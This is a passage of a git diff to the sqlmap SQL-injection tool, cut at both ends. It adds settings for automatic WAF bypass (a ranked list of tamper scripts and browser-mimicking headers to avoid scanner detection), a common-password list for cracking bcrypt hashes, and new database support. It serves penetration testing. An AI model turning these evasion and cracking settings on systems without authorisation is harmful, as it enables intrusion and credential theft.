resolveCrossReferences(): """ Place for cross-reference resolution diff --git a/lib/core/profiling.py b/lib/core/profiling.py index a5936beadfe..6cddfff3bc8 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -23,7 +23,9 @@ def profile(profileOutputFile=None): os.remove(profileOutputFile) # Start sqlmap main function and generate a raw profile file - cProfile.run("start()", profileOutputFile) + # Note: run() would exec inside __main__, which on pip installs is the console script, not sqlmap.py + from lib.controller.controller import start + cProfile.runctx("start()", {"start": start}, {}, profileOutputFile) infoMsg = "execution profiled and stored into file '%s' (e.g. 'gprof2dot -f pstats %s | dot -Tpng -o /tmp/sqlmap_profile.png')" % (profileOutputFile, profileOutputFile) logger.info(infoMsg) diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 31349171be7..b2980adf70e 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -7,15 +7,21 @@ _readline = None try: - from readline import * import readline as _readline except: try: - from pyreadline import * import pyreadline as _readline except: pass +if _readline: + _symbols = getattr(_readline, "__all__", None) + if _symbols is None: + _symbols = (name for name in dir(_readline) if not name.startswith("_")) + + for _symbol in _symbols: + globals()[_symbol] = getattr(_readline, _symbol) + from lib.core.data import logger from lib.core.settings import IS_WIN from lib.core.settings import PLATFORM diff --git a/lib/core/replication.py b/lib/core/replication.py index 2474e72b52e..a2cd5e9a30c 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -23,8 +23,11 @@ class Replication(object): """ def __init__(self, dbpath): + self.dbpath = dbpath + self.connection = None + self.cursor = None + try: - self.dbpath = dbpath self.connection = sqlite3.connect(dbpath) self.connection.isolation_level = None self.cursor = self.connection.cursor() @@ -120,8 +123,17 @@ def createTable(self, tblname, columns=None, typeless=False): return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless) def __del__(self): - self.cursor.close() - self.connection.close() + try: + if self.cursor is not None: + self.cursor.close() + except Exception: + pass + + try: + if self.connection is not None: + self.connection.close() + except Exception: + pass # sqlite data types NULL = DataType('NULL') diff --git a/lib/core/settings.py b/lib/core/settings.py index c8138a4df82..a0fd2641eaf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.14" +VERSION = "1.10.10.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -46,7 +46,6 @@ # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 -CONSTANT_RATIO = 0.9 # Ratio used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_RATIO = 0.5 @@ -54,6 +53,52 @@ # Timeout used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_TIMEOUT = 10 +# HTTP status codes a WAF/IPS typically returns when it blocks a request. Used to reject a boolean +# "injection" whose only TRUE/FALSE difference is the always-true payload being blocked (a status-code +# false positive) rather than the back-end actually answering. +WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503) + +# HTTP status signalling that the client is being rate-limited (kept as a literal because Python 2's +# httplib has no such constant) +TOO_MANY_REQUESTS_HTTP_CODE = 429 + +# Adaptive rate-limit handling: one-time backoff used when a rate-limited response carries no usable +# 'Retry-After', the additive step by which the inter-request delay is raised on each hit, and the +# ceiling for both the honored backoff and the auto-throttle (seconds) +RATE_LIMIT_DEFAULT_DELAY = 1.0 +RATE_LIMIT_DELAY_STEP = 0.5 +RATE_LIMIT_MAX_DELAY = 60.0 + +# Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value +# (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS +# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection +# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded. +WAF_BYPASS_TAMPERS = ( + "castprefix", + "mid2leftright", + "odbcbrace", + "equaltolike", + "between", + "greatest", + "charencode", + "randomcase", + "space2comment", + "versionedkeywords", + "space2hash", +) + +# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass +WAF_BYPASS_MAX_TRIALS = len(WAF_BYPASS_TAMPERS) + +# Browser-like request headers applied alongside the random (non-scanner) User-Agent during +# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a +# non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just +# the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation. +WAF_BYPASS_HTTP_HEADERS = ( + ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"), + ("Accept-Language", "en-US,en;q=0.5"), +) + # Timeout used in checking for existence of live-cookies file LIVE_COOKIES_TIMEOUT = 120 @@ -61,8 +106,16 @@ LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 +# Minimum similarity at which a boolean extraction response is judged to "resemble" the calibrated +# TRUE or FALSE model. A response resembling NEITHER (a transient same-HTTP-code junk page: WAF/CDN +# interstitial, captcha, maintenance, empty/truncated body) triggers an extra validateChar re-check. +BOOLEAN_MODEL_MATCH_RATIO = 0.9 + +# Number of candidate names probed per request while mining for hidden parameters ('--mine-params') +PARAMETER_MINING_BUCKET_SIZE = 25 + # For filling in case of dumb push updates -DUMMY_JUNK = "theim1Ga" +DUMMY_JUNK = "Phah5jue" # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__PARAMETER_AMP__" @@ -109,6 +162,9 @@ # Upper threshold for starting the fuzz(y) UNION test FUZZ_UNION_MAX_COLUMNS = 10 +# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically) +FUZZ_UNION_MAX_REQUESTS = 80 + # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection" @@ -127,8 +183,26 @@ # Identify WAF/IPS inside limited size of responses IDENTYWAF_PARSE_PAGE_LIMIT = 4 * 1024 -# Maximum sleep time in "Murphy" (testing) mode -MAX_MURPHY_SLEEP_TIME = 3 +# Ceiling (seconds) for a simulated heavy-tailed latency spike in '--jitter' (testing) mode +MAX_JITTER_SPIKE_TIME = 6 + +# '--jitter=N' fault injection: ~1 in N requests is perturbed to stress the time-/boolean-based blind +# oracles' jitter defenses. Each fired event either adds realistic response LATENCY - Gaussian jitter +# spanning low->high network noise, or (JITTER_SPIKE_CHANCE of the time) a heavy-tailed spike - and lets +# the genuine request proceed, or short-circuits with a transient "junk" HTTP response (gateway 5xx, +# rate-limit, a same-HTTP-code interstitial/maintenance page, or an empty body). Values come from the +# offline jitter studies (tests/test_jitter_stress.py, tests/test_boolean_jitter.py). +JITTER_SIGMAS = (0.3, 0.5, 0.9) # low / medium / high continuous jitter (seconds) +JITTER_SPIKE_CHANCE = 0.25 # portion of latency events replaced by a heavy-tailed spike +JITTER_JUNK_RESPONSES = ( + ("

    502 Bad Gateway

    ", 502), + ("

    503 Service Unavailable

    ", 503), + ("

    504 Gateway Time-out

    ", 504), + ('{"error": "too many requests"}', 429), + ("Just a moment...Checking your browser before accessing.", 200), + ("We'll be back shortly. Scheduled maintenance in progress.", 200), + ("", 200), +) # Regular expression used for extracting results from Google search GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" @@ -148,6 +222,29 @@ # Regular expression used for extracting content from "textual" tags TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h[1-6]|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P[^<]+)" +# Regular expressions used for extracting a value-free structural skeleton of a (HTML) page (tag +# names and class/id attribute hooks), for structure-aware comparison of pages whose textual +# content is dynamic but whose layout is stable +STRUCTURAL_TAG_REGEX = r"(?si)<\s*([a-z][a-z0-9]*)((?:\s+[^<>]*)?)/?>" +STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" +STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" + +# Minimum response size (in bytes) for the 'skip-read' NULL connection method to be used. Unlike +# HEAD/Range, 'skip-read' leaves the body unread and must therefore close the connection (an unread +# body cannot be reused), paying a fresh TCP/TLS handshake per request. That only pays off when +# avoiding the body transfer outweighs the reconnect - i.e. for large responses; for small ones it +# is a net slowdown, so it is gated by this size +NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024 + +# Coarse plausibility band for a NULL connection method's reported length, relative to the known +# original page length (len(kb.originalPage)). A method is accepted only if its length falls within +# it; this rejects a method whose length does not track the real GET response (e.g. HEAD returning +# 'Content-Length: 0', HEAD served from a different code path, or sneaked-in compression). The band +# is deliberately generous (byte-vs-character size and moderate page dynamism are expected, and a +# false reject merely forgoes the optimization, which is safe) - it only catches gross mismatches +NULL_CONNECTION_LENGTH_TOLERANCE_LOW = 0.5 +NULL_CONNECTION_LENGTH_TOLERANCE_HIGH = 4.0 + # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b" @@ -161,6 +258,12 @@ # Coefficient used for a time-based query delay checking (must be >= 7) TIME_STDEV_COEFF = 7 +# Robust (median/MAD) cutoff for discarding spike outliers from the time-response model before +# computing avg/stdev - a single network spike landing in the baseline would otherwise inflate the +# delay threshold and miss genuine delays. Deliberately wide (~10 robust sigmas) so a clean model is +# left untouched (identical threshold) and only true outliers are dropped. +TIME_OUTLIER_MAD_COEFF = 10 + # Minimum response time that can be even considered as delayed (not a complete requirement) MIN_VALID_DELAYED_RESPONSE = 0.5 @@ -179,8 +282,16 @@ # Default value for HTTP Accept header HTTP_ACCEPT_HEADER_VALUE = "*/*" -# Default value for HTTP Accept-Encoding header -HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate" +# Whether the interpreter can decode Zstandard responses (stdlib 'compression.zstd', Python 3.14+ / PEP 784) +try: + import compression.zstd as _zstdModule +except ImportError: + _zstdModule = None +HTTP_ZSTD_AVAILABLE = _zstdModule is not None + +# Default value for HTTP Accept-Encoding header (browser-realistic; 'br' via the in-tree decoder, 'zstd' +# only when the stdlib provides it - never advertise a content-coding we cannot decode) +HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate, br%s" % (", zstd" if HTTP_ZSTD_AVAILABLE else "") # Default timeout for running commands over backdoor BACKDOOR_RUN_CMD_TIMEOUT = 5 @@ -191,9 +302,15 @@ # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 +# Fraction of the currently displayed progress-bar ETA kept when a fresh estimate arrives (eases the on-screen countdown toward the new value instead of snapping); 0 disables smoothing, higher is smoother but laggier +ETA_DISPLAY_SMOOTHING = 0.5 + # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 +# Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated) +JSON_AGG_CHUNK_ROWS = 1000 + # Maximum size of cache used in @cachedmethod decorator MAX_CACHE_ITEMS = 1024 @@ -275,11 +392,11 @@ ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2", "MSysNavPaneGroupCategories", "MSysNavPaneGroups", "MSysNavPaneGroupToObjects", "MSysNavPaneObjectIDs") -FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") +FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", "RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST") -HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") +HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOBS") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") @@ -298,11 +415,13 @@ RAIMA_SYSTEM_DBS = ("",) VIRTUOSO_SYSTEM_DBS = ("",) SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",) +SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS") +HANA_SYSTEM_DBS = ("SYS", "SYSTEM", "_SYS_BI", "_SYS_BIC", "_SYS_REPO", "_SYS_STATISTICS", "_SYS_XS", "HANA_XS_BASE") # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks") -PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss") +PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss", "duckdb") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") @@ -329,29 +448,32 @@ RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis") VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") SNOWFLAKE_ALIASES = ("snowflake",) +SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner") +HANA_ALIASES = ("hana", "sap hana", "saphana", "hdb") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES) +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES + HANA_ALIASES) SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES), (DBMS.HANA, HANA_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) # DBMSes with upper case identifiers -UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE)) +UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE, DBMS.HANA)) # Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" VERTICA_DEFAULT_SCHEMA = "public" MCKOI_DEFAULT_SCHEMA = "APP" CACHE_DEFAULT_SCHEMA = "SQLUser" +SPANNER_DEFAULT_SCHEMA = "default" # DBMSes where OFFSET mechanism starts from 1 -PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE)) +PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.CACHE)) # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") @@ -413,7 +535,7 @@ SESSION_SQLITE_FILE = "session.sqlite" # Regular expressions used for finding file paths in error messages -FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"\bin (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P/[^'\"]+)", r"\bin (?P[^<]+): line \d+") +FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"\bin (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s'\"])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s'\"])(?P/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P/[^'\"]+)", r"\bin (?P[^<]+): line \d+") # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( @@ -427,11 +549,16 @@ r"Code: \d+. DB::Exception: (?P[^<>\n]*)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", - r"(?Pquery error: SELECT[^<>]+)" + r"(?Pquery error: SELECT[^<>]+)", + r"(?P(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)", + r'"(?:errmsg|errorMessage|reason|msg)"\s*:\s*"(?P[^"]+)"' # generic JSON error-message field (NoSQL document/REST back-ends) ) -# Regular expression used for parsing charset info from meta html headers -META_CHARSET_REGEX = r'(?si).*]+charset="?(?P[^"> ]+).*' +# Regular expression used for parsing charset info from meta html headers (Note: the tempered token +# '(?:(?!).)*?' keeps the meta strictly INSIDE - as the old trailing '.*' did - +# while the bounded meta-attr scan '{0,300}?' keeps it LINEAR; the old greedy form went quadratic and +# hung for many minutes on an attacker-controlled body full of ''/'') +META_CHARSET_REGEX = r"""(?si)]*>(?:(?!).)*?]{0,300}?charset\s*=\s*["']?(?P[^"'> ]+)""" # Regular expression used for parsing refresh info from meta html headers META_REFRESH_REGEX = r'(?i)]+content="?[^">]+;\s*(url=)?["\']?(?P[^\'">]+)' @@ -448,6 +575,10 @@ # Reference: http://www.the-interweb.com/serendipity/index.php?/archives/94-A-brief-analysis-of-40,000-leaked-MySpace-passwords.html COMMON_PASSWORD_SUFFIXES += ("!", ".", "*", "!!", "?", ";", "..", "!!!", ",", "@") +# Most common passwords (frequency-ordered) tried for very slow, per-hash-salted algorithms (bcrypt) where a +# full dictionary is impractical; kept small on purpose so a candidate-major attack stays within a time budget +COMMON_PASSWORDS = ("123456", "123456789", "12345678", "password", "qwerty", "12345", "123123", "111111", "1234567890", "1234567", "qwerty123", "000000", "1q2w3e", "abc123", "password1", "1234", "qwertyuiop", "123321", "password123", "1q2w3e4r5t", "iloveyou", "654321", "666666", "987654321", "1q2w3e4r", "7777777", "dragon", "1qaz2wsx", "123qwe", "monkey", "123456a", "112233", "qwe123", "159753", "letmein", "11111111", "222222", "123abc", "qazwsx", "555555", "princess", "admin", "121212", "1234qwer", "sunshine", "football", "aaaaaa", "123123123", "computer", "michael", "superman", "welcome", "zxcvbnm", "asdfghjkl", "1111", "shadow", "master", "999999", "88888888", "secret", "qwerty1", "12341234", "101010", "1111111", "asdfgh", "147258369", "qwertyui", "123654", "google", "123456789a", "ashley", "jesus", "ninja", "mustang", "baseball", "jennifer", "hunter", "soccer", "batman", "andrew", "tigger", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "hannah", "maggie", "696969", "harley", "1234abcd", "trustno1", "buster", "starwars", "freedom", "whatever", "qazwsxedc", "passw0rd") + # Splitter used between requests in WebScarab log files WEBSCARAB_SPLITTER = "### Conversation" @@ -470,11 +601,79 @@ SENSITIVE_DATA_REGEX = r"(\s|=)(?P[^\s=]*\b%s\b[^\s]*)\s" # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the inside) -SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred", "sqlQuery", "requestFile", "csrfToken", "csrfData", "csrfUrl", "testParameter") +SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "authCred", "sqlQuery", "requestFile", "csrfToken", "csrfData", "csrfUrl", "testParameter") # Maximum number of threads (avoiding connection issues and/or DoS) MAX_NUMBER_OF_THREADS = 10 +# Wrapper applied to MySQL UNION-based retrieval values to neutralize "Illegal mix of collations" errors (e.g. utf8mb4_0900_ai_ci tables vs a utf8mb4_general_ci connection on MySQL 8+). CONVERT normalizes the (possibly binary) charset to utf8mb4 and the explicit COLLATE then wins the UNION column merge (highest coercibility) +MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin" + +# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size) +KEYSET_MIN_ROWS = 1000 + +# Number of Huffman (set-membership) character attempts made before their escape ratio is judged; at/above it, escapes reaching half of all attempts latch the 